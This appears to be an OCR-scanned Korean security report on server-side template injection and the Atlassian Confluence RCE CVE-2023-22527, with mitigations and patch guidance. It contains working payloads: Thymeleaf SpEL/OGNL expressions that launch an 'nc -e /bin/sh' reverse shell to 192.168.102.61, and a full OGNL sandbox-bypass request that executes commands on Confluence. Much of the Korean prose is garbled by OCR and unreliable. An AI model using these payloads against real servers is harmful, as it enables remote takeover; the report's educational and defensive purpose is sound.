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SSTI & Atlassian Confluence RCE F Q™ (CVE-2023-22527)

1. Server-Side Template Injection(SSTI)
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3 FE oA

B 32 2o A 3 HZ3 Az
SSTL Foll FF We & Q= ddold Au] = 923 Ay
Language Framework Template Engine
Python Flask Jinja2 {7*7}1}
C# ASPNet Razor @(7*7)
Java Springboot Thymeleaf ${7*7}
JavaScript - Jade =77
PHP Symphony Twig {77
9 molA AT A & B QWL oA Boln, SSTI FoPELe Y AW 5 @E
A7 o9 MM 5 FE3 AJHE T 4 glet.
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ol R&T oAM= 8 ol AH & &S 1% 5 Thymeleaf & AF8-Sh= &730)A SSTI &4
Bag Qg
Thymeleaf

o

Thymeleaf &= XML 7} ¢ BZS g5 £ A" A4 = €22
XHTML, Valid XHTML, HTMLS5, Legacy HTML5 ®H&3 HEE Z
Thymeleaf ol4] UEhte SSTI & AR 48 ol gt 24
FRo® sAs WA AEA 4Y S DR ol Au = F
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MainController.java

import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresolver.StringTemplateResolver;
- (BEh .
public class MainController {
@RequestMapping("/thymeleaf")
@ResponseBody
public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest
request, HttpServletResponse response) {
String template = "<!DOCTYPE html><html lang='en'><head>" +
- (B .
+ name +"</p></body></html>";
TemplateEngine templateEngine = new SpringTemplateEngine();
ITemplateResolver templateResolver = new StringTemplateResolver();
templateEngine.setTemplateResolver(templateResolver);
WebContext ctx = new WebContext(request, response, request.getServletContext());
- (& ..
Writer out = new StringWriter();

templateEngine.process(template, ctx, out);

return out.toString();}

SSTI &A0] o]-&8t 4= Qli= Thymeleaf Template Engine ©] 7] 220l B h-gu} 7t}
T=Xt a9 il Al
${..} il <div th:itext="${foo}"> </div>

re

HAAY

i

<li><a

il

@{..} URL 23 EHA th:href="@{/foo(param1=${param1},
param2=>${param2})}">foo</a> </li>

.1 ooy =g g2 [[${data}]]

th:text Ef Wi oiojle HE& <h1 th:itext="${data}">data</h1>

(% https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleafhtml#standard-expression-syntax)
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9] 2 G S0l AUH WS BGA] AR WISk U$TT FES P, ot
Zol ABY TROE AT F 498 FUSHE AL AAT 5 Uk

R [[$(7+7)]]
A Z* ?username=%5b%5b%24%7b%37%2a%37%7d%5d%5d

C )/thymeleaf?username h%624% ykd | £ Incognito

Hello, |49

19 3. Thymeleaf Template Engine oA [[${7*7}]] -2 €= Al

5o B Qo] 418 Y “Cathitext=${7* 7)) (/)" FEOZE B2l 7}55ict,
<a thitext=${7*7}> </a>
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d
%3e%3c%2f%61%3e

@ localhos )/thymeleaffusername a> B & incognito

Hello,|49

1% 4. Thymeleaf Template Engine o4 <a th:text=${7*7}> /2> 72 4 A|
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Thymeleaf Template Engine €] 7d-%, Java ©] Reflection 7], SpEL ZE&4], OGNL (Object—Graph
Navigation Language) F@42 &-85lo] o9 Java AAE AHT 4 Art. A AE TH2
93 Qanic etk

ex) Freemarker Template Engine: ¥2]9] Java A A Al, TemplateModel &
ex) Jinja2 Template Engine: ¥2]e] Python A A Al, 249l Object 24
SEoto] B4

Thymeleaf &= 999 #2gE AATt H, forName() HAEE T 5402 SHAE B
AFESH= Java 9] Reflection 7]1%S &85, 2275 U A5 B8 4 Ut whabA,
Q
O

java.lang.Runtime 2 LE SEF F, exec) HAEE &

Fae}
T A

<a thitext="%${".getClass().forName(’java.lang.Runtime’).getRuntime().exec('nc —e

/bin/sh 192.168.102.61 8888")}"> </a>

?username= <a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName%28%27
java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-
€%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d" > < %2fa>

b4 B & incognito

BN sktest@useworld: ~ — O =

% 5. Thymeleaf Template Engine oA 914 B A3 o=z A A 44

"' OGNL : struts, Atlassian Confluence 5 Apache A2ZE o], Java Application ol 4] A8-5l= Expression Language T}

EQST insight | 6



Thymeleaf oA S = o
A Yot FAAE AFRE 4 ST, olF E-8otH o33 o

=

<th th:text="${T(java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888")}">Test</th>

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61
%208888%27%29%7d">Test<%2fth>

ymeleaf?username=x< %28 %... o% £ ncognito

% 6. Thymeleaf Template Engine o 4] SpEL & &-83F 947 95 Aoz @A 4 I

U, A-85<Q]l Thymeleaf 7} OGNL #@4E AT, b3t 22 OGNL ®@A o= A7
FPe AT % Aok

I [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}1]

?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c
%23rt%2eexec%28"nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d

'a' Incognito

74 64306

19 7. Thymeleaf Template Engine o4l OGNL & €835t 97 ¥ Ago= s 4 94
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Sanitization(ZE <t AP} Input Validation(¥ 384t 335, Sandboxing(M=HFA]) o] )t

1. Sanitization(ZE ¢HA AAD

Sanitization ogt HFHA] 2 AHEA AGo=HE Template & AGsHA Frs A=sh=
ool ARgAE dEo]l =gt A% Template ©|A AlESh= Parameter & Fof Aot =
F/dote] Template A0 &S & 5 Y= ASH|oF et

fExzH o2 Flask ¢] render_template) WAZ=E AFES o U} sid UA =9 ZHE AA=

o3 7

ftlo )

o

app.py
#!/usr/bin/python3
from flask import *

-~ (SE ..

@app.route('/', methods=['POST',GET'])
def index():

a = int(request.form['a’])

return render_template(‘index.html’, a=a)
.. (BEH ..
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19 8. Jinja2 Template Engine ol 4] Sanitization ©]& {{7*7}} & 4F A
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3. Sandboxing(A1 =8}F4])
AL 1= e 7IRFe® Template & AJFsta dlEdsior sh= A%, &7 stAl AR&Ar
dgo=x Template & A= FHrel glek olw, ARgA YYPomfe H= Template
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2. Atlassian Confluence Server 2 Data Center ¥4 I E AldH
Z| kA (CVE-2023-22527)
I

2024 149 16¢, 229 ¢ E 2TEYo]Q Atlassian @] Confluence Al&E4 ¥4 = A

FoFH(CVE-2023-22527)0] w7 =Tt o] FHeFd2 2022 d 6 ¥ 370= Atlassian Confluence

97 F= A FFH(CVE-2022-26134)9] v]&3t Heb A= Qs AT o FfHew
[
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%91 Atlassian Confluence @] ¥Zo] FoFstz] &<2lo] & Q3slrt,

Total: 8,340

1888

13 9. Atlassian Confluence A& Hl&E

EQST insight | 10



B 34 AL

infosec

@ % Confluence
& ]

@CVE-2023-22527 -)—

TOP
SECRET @

@MY T8 HE B
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@ 2ZAXH= OSINT ZAM QIZIS E3) 2|2t Confluence AHE EHA
@ 34X CVE-2023-22527 F U™ S 0|83H0] HshXt AH{of T2
@ 2AXE=E A HY AHS E3] Reverse Shell ¢
@ 34Xt Olsixte] MHE Fost | Fao HEE 3

= —
B YeHE ATEQ0 HH

CVE-2023-22527 o] # okt AmEQo] WAL gt At}
s/W & Fof BH

8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
850 ~ 853

Atlassian Confluence Data Center and Server
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o|& e
Ubuntu 22.04.3 LTS
| 8H X} Atlassian Confluence 8.5.3
(172.25.48.1)
27K Kali Linux
(192.168.142.135)

352 PC ol CVE-2023-22527 FoFdo] A5 Confluence AHE T334t
olele] Pag Fnst] EAR A FFsaich
« URL : https://github.com/vulhub/vulhub/tree/master/confluence/ CVE-2023-22527

eqst@insight:~$ sudo docker-compose up -d

1% 11. sudo docker—compose up —d .2 &=

218t Confluence A19](172.25.48.1:8090)° HL5td, ofefiel o] CVE-2023-22527 FHF4 ol
el 8.5.3 B AHE Felg 4 9}

hd Log In - Confluence ar — O

&« c A\ Not secure  172.25.48.1:8090,login.action?os_destination=%2Findex.... ¥ a L ncognito

& Confluence

Log in

Username

Password

Remember me

Forgot your password?

EVALUATION LICENSE Are you enjoying Confluence? Please consider purchasing it today.

Cestina Dansk - Deutsch . Eesti . English (UK) . English (US) . Espafiol . Frangais [slenska - ltaliano - Magyar -

MNederands - MNorsk - Polski . Portugués - Romana - Slovendina - Suomi - Svenska - Pycod - BB . HAEE - =0
Powered byjAtlassian Confluence 8.5.3) - Reporta bug - Atlassian News
A ATLASSIAN

a9 12, FoF AW BH el
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https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527

Step 2. PoC HIZE
CVE-2023-22527 |24 HIAEE 3t PoC 7} AHH github URL & th23} Ft}.
URL : https://github.com/Avento/CVE-2023-22527 Confluence RCE

522k PC o)A git clone @HAES AME3Ie] CVE-2023-22527 PoC 7} AFH git o] #dS
o= egitt

£

clone https Lcom/Avent:
Cloning 1nto ) = 27 Confluenc
Enumerating
remo Counting 0b1n:

remo EDNﬂTEJJlﬂE ob- LD

remo Total 9@ (del 19}, reused € [ta @ ack-reused 27
Receiving ob

Resolw

a9 13.PoC 7} AFH git Y 2

ol o] WaolE o] &3] PoC wA<¢l CVE-2023-22527.py & AP
A5 Hol=Er} HsA] Confluence AH ol AaYwtt.

‘ $ python3 CVE-2023-22527.py --target [Confluence A{H{ FA] —cmd [EH ] ‘
« ——target &A1 BHAlo] H= FokRt WA Confluence AH 4 27

« ——omd w4 GAA APL FRFo 4Y

Aew, 522 PC of|A

N
%

otefie] 1H2 EA ARGAl it user, group AEE E9che d ¥ A%t A= wsix}
PC 9] Confluence A8 AR7} 285 7S B 2= g},

CVE-2023-22527.py — targed /11 .48.1:8090

confluence) @2( confluence) groups P2 confluence ]

a9 15. 94 HF cat /etc/passwd A3 A}
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Step 1. FFH M4

CVE-2023-22527 F°F2 Confluence AH|ellA olu] WA FHoF<Ql CVE-2022-26134 ©]
gk Hek 227} mlgato] HAYRiTE,

CVE-2022-26134 of tigt A 82 EQST Insight 20229 9 €3 oA 218 4= 9t}

« URL:https://www.skshieldus.com/download/files/download.do?0_fname=EQST%20insight %E
D%86%B5%ED%95%A9%EB%B3%B8 202209.pdf&r fname=20220926092549714.pdf

Hord Al BEAolA= CVE-2022-26134 Het mjx]of| F7te AF 2o oigh 4E 243
CVE-2023-22527 FeFdo] of¥A sid 22& $-2lsto] WAFE=A] et

1) CVE-2022-26134 HSt %]

Atlassian ©] MM F4AZ Ea ¢lolo] Ho]R=2 AdstH, OGNL FRoz <lastn EAs)
HAGH= CVE-2022-26134 o tigh Hob X2 OGNL F2& AZEdH= isSafeExpression()
HAEE F7H3

public CObject findvalue(String expr) {
if (expr == null) {

return null;

1
I

try 4

[if ( !this.safeExpressionUtil.isSafeExpression(expr)) {]
return null;
1
I
if (this.overrides != null 2& this.overrides.containsKey(expr)) {

expr = (5tring) this.overrides.get(expr);
1
]
if (this.defaultType != null) {

return findvalue(expr, this.defaultType);
1
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
} catch (Exception e) {
LOG.warn({ "Caught an exception while evaluating expression "" + expr + "' against value stack”, e);
return null;
; catch (OgnlException e2) {
return null;

1
J

19 16. isSafeExpression() HIAE7} 71 By

2) OGNL & A% 23

OGNL ¥ w2} F7-& AgotH, isSafeExpression() MA =+ FAEZ(AST: Abstract Syntax
Tree) @222 OGNL Expression Language E SJAM8IA OGNL & digh A3 5|8 o7&
Axebch, BRo] 3o "ast £8 OGNL F&9] dAl= o3 At

TEX 29 Oof Al
PPN

#var = AEE #var = 99

@java.util.LinkedHashMap @{"foo":"foo

@class@method(args) Y HAME =2 o .,
value”, "bar” :"bar value"}

(% https://commons.apache.org/dormant/commons-ognl/language-guide.html)
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https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://commons.apache.org/dormant/commons-ognl/language-guide.html

OGNL & #AFSh= isSafeExpression() ®lA =9 OGNL &9 HF #E& LASkstH
ofjel At

infosed

1% 17. isSafeExpression() HIAE HAZF A€

isSafeExpression() WA= isSafeExpressionlnternal) HAE=E SESte] QFHSE REQIA|
HAFI}, isSafeExpressionlnternal() M4 =+ TA] containsUnsafeExpression() WA EE S&o}od
7k = E7F QFAREA] AARY
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[public boolean isSafeExpression(String expression)]{
return isSateExpressicnInternal(expression, new HashSet());

1
g

[private boolean isSafeExpressionInternal(String expression, Set<String:> uisitedExpressions\]{
if (!this.SAFE_EXPRESSIONS CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expressicn)) {
return false;

}
if (isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
} else if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression))) {
this.SAFE_EXPRESSIONS CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpressicn instanceof Node) {
if {lcontainsUnsafeExpression((lNode) parsedExpression, visitedExpressions)f) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(string.format("Unsate clause found in [\" #s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);

1
)
!

y

} catch (0OgnlException | RuntimeException e} {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of 0GNL expression”, e);

1
)
L
I

return this.SAFE_EXPRESSIONS_CACHE.centains(expression);

19 18. isSafeExpression() HIAE9] AZ 34

containsUnsafeExpression() #WA == oA FAEZ S FE L TAMEE AZrste] Z}
== 4

L EoA] containsUnsafeExpression() HWA=E AAHOZ
S

CELC R P
45 We M2, WA 55 )

Ay Y 5 FAE ok=A,
AHESt=R], SHAE FHCR SESHE WAEE AMESHEA], §185tA] ¢ RIFE AL
=2 58 AR o] A EoA tHsHA] ¢F2 H4 o] F(#application, #request 5)¢]
H-& ASTVarRef kEof A £afdtet,

<l

ofo

rit
oL & m
S > nm
i o N T e

oot

O

1o
Ry

—

[private boolean containsUnsafeExpression(Node node, Set<Strings visitedExpressions)]{
string nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;

1

}

if ("egnl.ASTStaticMethod”.equals(nodeClassName) 2% !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) |
return true;

1

I

if ("oegnl.ASTProperty”.equals(nodeClassName) 2% isUnSafeClass(node.toString())) {
return true;

1

I

if ("ognl.ASTMethod".equals(nedeClassName) &2 this.unsafeMethodNames.contains(getMethodIndgnlExp(nede))) {
return true;

1

I

if ("egnl.ASTVarRet".equals(nedeClassName) 22 UNSAFE_WARIABLE_NAMES.contains(node.toString())) {
return true;

1

}
if ("oegnl.ASTConst".equals(nodeClassName) &% !isSafeConstantExpressicnNede(node, visitedExpressions)) {

return true;

1
:)

for (int i = 8; i < node.jjtGetNumChildren(); i++)
Node childNode = node.jjtGetChild(i);
if (childNede != null &&[containsunsa'FeExpr'ession(childNodeJ uisitedExpressions))]{
return true;

r
1

1
s

1

L

return false;

1% 19. ContainsUnsafeExpression() HIANE2] AAH 5&

EQST insight | 16




Step 2. CVE-2023-22527

D) getText() $-3

gurg o= ARgl 48 Zh2 Confluence/template/aui/text—inline.vm?ef] &= getText() HIMER
el OGNL HZo2 siM=X] gheth. AR 4% Froll Unicode(Wu0027)E F7Fsh olF
OGNL 2-& 4F$5Hd, Unicode(Wu0027) ©]F AR8AF 18] #4& OGNL 2= A gict.

#s2t( $labelvalue = hstack.%indValue("getText('$parameters.label')”) }]
#if( !$labelvalue )

#zet( $labelvalue = Sparameters.label )
#end

#if (!$paramsters.id)
#set( $paramsters.id = $parameters.name)
#end

<label id="${paramsters.id}-label” for="$parameters.id"»
%!labelvalue
#if($parameters.required)

<span class="aul-icon icon-required"»</span>

<span class="content">$parameters.required</span>
#end
</label>

#parse(”/template/aui/text-include.vm")

13 20. FoFg AH-Q text—inline.vm &4 FE

‘(Apostrophe)& UEH= FEQl Wu00272 F71ete] getText() HWAEE $3]5h=
@] A= o2 Ak

‘ ?label=#u0027%2b#[OGNL A% T2]%2b%Wu0027

o
1%

2 vm(Veloci Macro) : Velocity Macro 9] 2FAt=2 Velocity ®EZ31 Q7oA Abgsh= #1238 wtd o] SFAH(* .vm)th
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2) OGNL 728 23 914 zc Al A8 ok
HAE 236t g, OGNL F&o| Zzste] 92 FErp AdE o

infosec

org.apache.struts2.view.velocity.StrutsVelocityContext#int
@ ernalGet
(StrutsVelocityContext Class 2 &)

org.apache.struts2.views.jsp.ui.OgnlTool#findValue

@ (OgnlTool Class ZE)

® Freemarkertemplate.utility.Execute
(Freemarker templateOf| A Java ZHA|| 24 4d)

@ java.lang.Runtime#exec(java.lang.String)

(Java.lang.Runtime oA ZE)

a9 21, 974 3 A 5& A

@ org.apache.struts2.view.velocity.Struts VelocityContext#internal Get ()

isSafeExpression()& BdlA OGNL ZEHAS HIoHA|T, CVE-2023-22527 & OGNL of #H
7Fsst EA AAlo] digt HFo| FErEo] WS isSafeExpression() AZolA FEHH Zow

el AHEY 22 theut Pt

ZHA| RCE 7}s &

#request[' KEY_velocity.struts2.context’] RCE 7ts
#request['.freemarker.TemplateModel’] RCE 7ts
#request|'.freemarker.Request’] "2 7ts

o] & '#request[“.KEY. velocity.struts2.context” | S ©]8sto] FHFH A EA4LS st
AAAAA o] tfgt ApAIgE W82 ofgfje] #HA9] VelocityManager.java £AFE WofA &<l
AT

« URL:https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7¢360/plu

gins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java

=)

.l

A
T

=
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https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java

#request[ . KEY.velocity.struts2.context’ ] &= gl A A A5t SAUE =2 eE
request.getAttribute(“.KEY.velocity.struts2.context”) ¢} 2 kg 3gith. g HAzk2 offet
Zol AAxlo] firequestl " KEY velocity.struts2.context”] ZAE &Z& A|, StrutsVelocityContext
ZEart $&0] HH, s EdA dols OgnlTool 2 3&% 4 & internalGet WA =7}
AR5 et siEd AA= org.apache.struts2.view.jsp.ui.OgnlTool QIAEIA| HET 4= Qlrt,

public Context createContext(WalueStack stack, HttpServletRequest req, HttpServletResponse res) {

[StﬂLtsVeloci:yCortext context = new StrutsVelocityContext(chainedContexts, 5tackjﬂ

if (toolboxManager != nyll && ctx != null) {
ToolContext chaineg = naw ToolContext(velocityEngine);

chained.addToolboy(toolboxManager.getToolboxFactory().createToolbox(ToolboxFactory.DEFAULT_SCOPE));
result = chainad

} else {

result = context; [pub;ic static final String KEY_WELOCITY_STRUTS_CONTEXT = ".KEY_velocity.struts2.context”;

[req.setAttribute{KEY_VELOCITY_STRUTS_(ONTEXT, result}J
return result;

39 22. VelocityManager.java 2] KEY_velocity.struts2.context 474 3t A%

[pub]ic Object internalGet(String key)]{
it (super.internalContainsKey(key)) {
return super.internalGet(key);

!

}
if (this.stack != null) {

L
Object object = this.stack.findvalue(key);
if (object != null) {
return object;
!

}
Object object2 = this.stack.getContext().geti{key);
if (object2 != null) {

return object2;

1
J
1
J

if (this.chainedContexts != null) {

for (int index = @; index < this.chainedContexts.length; index++) {
if (this.chainedContexts[index].containsKey(key)) {

return this.chainedContexts[index].internalGet(key);
}
1
I
return null;
}
return null;

3% 23. StrutsVelocityContext Z#A W9] internalGet HA=

@ org.apache.struts2.views.jsp.ui.OgnlTool#find Value()
F ¥t Confluence o4 org.apache.struts2.views.jsp.ui.OgnlTool QIAE A0 3t H, findValue()
HAEE &St 94 3= Age 7HesHA ot

—

Ol

®, @ Freemarker.template.utility. Execute, java.lang. Runtime#exec(java.lang.String)
Execute ¥ Freemarker Template oA oI5 AWMEE AP 4 Q1A wto= FEAc ST
ZHLE AAS F, javalang.Runtime 2] exec WA EE SE6|A §4 YolE APA7|= Aol

s )
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tlo
sk

% 9ok,

of met A4 4 ol FUES ok B, AL 98T 4 Ak A AL ¥
=
(6]

?label=¥#u0027%2b%?23requestWu005b¥u0027.KEY_velocity.struts2.context#u0027
Wu005d.internalGet(#Wu00270gnl#u0027).findValue(%23parameters.x,{}) %2b¥Wu0027
&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((

new freemarker.template.utility.Execute()).exec({"id"}))

m ©h Cance < v

Request
Prett Raw Hex noo=

Target: hitp://192.168.102.74:8090 /F  HTTP/1

Response
Pretty Raw Hex Render noo=

GET /template/aui/text—inline,vm?label=
aaa%bCul027%2B%23r equest . get%h28%5Cu0027 . KEY _velocity.struts2.
context%5Cu0027%29 , internal Get%28%5Cu00270gn ! %5Cu0027%29 . find
Value%28%23parameters . pockbBO%E0%2C%7B% 7 0%29%28%5Cu0027&poc=

%400rg.apache,struts2, ServiethctionContexth40getResponset2she
9.setHeader%28%5Cu0027Cmnd-Re t%5Cu0027%2C%28newt freemarker . tem
plate utility, Executeh28%29%29 exech28%7B%221 dh22%70%29%29

HTTR/ 1.1

Host: 192,168,102.74:8090

Cache-Control: max—age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: WinB4: x64)

Applelebkit/537.36 (KHTML, |ike Gecko) Chrome/121.0.6167.160

Safari/537.36

b Accept:
text/html ,application/xhtml+xml .application/«ml:q=0.9,inage/a
vif,image/webp,image/apng,*/*:q=0.8,application/signed-exchan
ge:v=h3:0=0.7

7 Accept-Encoding: gzip. deflate. br

[y RNV

HTTP/1.1 200

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMWT
X-XS5-Protection: 1. mode=block
¥—-Content-Type-Options: nosniff

K-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Confluence-Request-Time: 1709826390978
Set-Cookie: JSESSIONID=T40CA2F72ABAASTESBA1FETEAET38252:
Path=/: Httplnly

Cnd-Ret: uid=2002(confluence) gid=2002({confluence)
groups=2002(conf luence),0(root)

11 X-Accel-Buffering: no

12 Vary: User-Agent

13 Content-Type: text/html:charset=UTF-8

14 Content-Language: ko-KR

15 Date: Thu, 07 Mar 2024 15:46:31 GNT

16 Connection: close

17 Content-Length: 31824

[T R o N R oy B N

=

1% 24. PoC A3 Ax}
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CVE-2023-22527 £ Confluence AHoA F kst EHAS o

BAA Q] A AS 3= AT =, OGNL ZdAo] ozt AF vlgt FHeket nd4
ArgSl sk FoFoltt. whEbA FoFglo] WAH text—inlinevm T o] getTextOE &9
getValueO= & Ao+ HAAS AHEshe A2 HigAlsA] gt o} o] Adassian 2
S FoFdol oigh HetxA = FokstAY EE ot HE3S o AT

~ CONFLUENCE ~ CONFLUENCE
~ template ~ template
~ aui ~ aui

assistive.vm assistive.vm
checkbox-inputvm checkbox-input.vm
checkbox.vm.vm checkbox.vm.vm
country-select.vm country-select.vm
editorvm editor.vm
hidden.vm hidden.vm
118n-convention-radiolistvm 118n-convention-radiolist.vm
onofflist-include.vm onofflist-includewm
onofflistvm onofflistvm
password.vm / password.vm
radiolistvm submit-closevm
select.vm submit.vm
space-select.vm text-include.vm
submit-close.vm textvm
submit.vm textarea.vm
text-includevm widetextareavm
text-inline.vm wiki-textarea.vm
text.vm > custom
textareavm > includes
widetextarea.vm > notable
wiki-textarea.vm > xhtml

a9 25. FoFstAY 20adt AEe] o AAE By

2okt Confluence A= ok T)2)7h 487 HdoR Julo|Eg APsof Tk,
« URL: https://confluence.atlassian.com/kb/fag—for—cve—2023-22527-1332810917 . html

HE ofx|7t HgE HH
Confluence Data Center and Confluence Server 8.5.4(LTS)
8.6.0(Data Center Only)
8.7.1(Data Center Only)

Confluence Data Center
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https://confluence.atlassian.com/kb/faq-for-cve-2023-22527-1332810917.html

H Z10 AIO|E

« URL : https://github.blog/2023-01-27-bypassing—ognl-sandboxes—for—fun—and—charities/#ognltool-
ognlutil

« URL : https://confluence.atlassian.com/kb/faq—for—cve—-2023-22527-1332810917.html

« URL : https://blog.projectdiscovery.io/atlassian—confluence—ssti—remote—code—execution/

« URL : https://www.scmagazine.com/news/thousands—of-exploit—attempts—reported—on—critical -
atlassian—confluence—rce

« URL : https://www.scmagazine.com/news/thousands—of—exploit—attempts—reported—on—critical -
atlassian—confluence-rce

« URL : https://www.blackhat.com/docs/us—15/materials/us—15-Kettle—Server—Side—Template—Injection—
RCE-For-The-Modern—Web—App-wp.pdf

« URL : https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html
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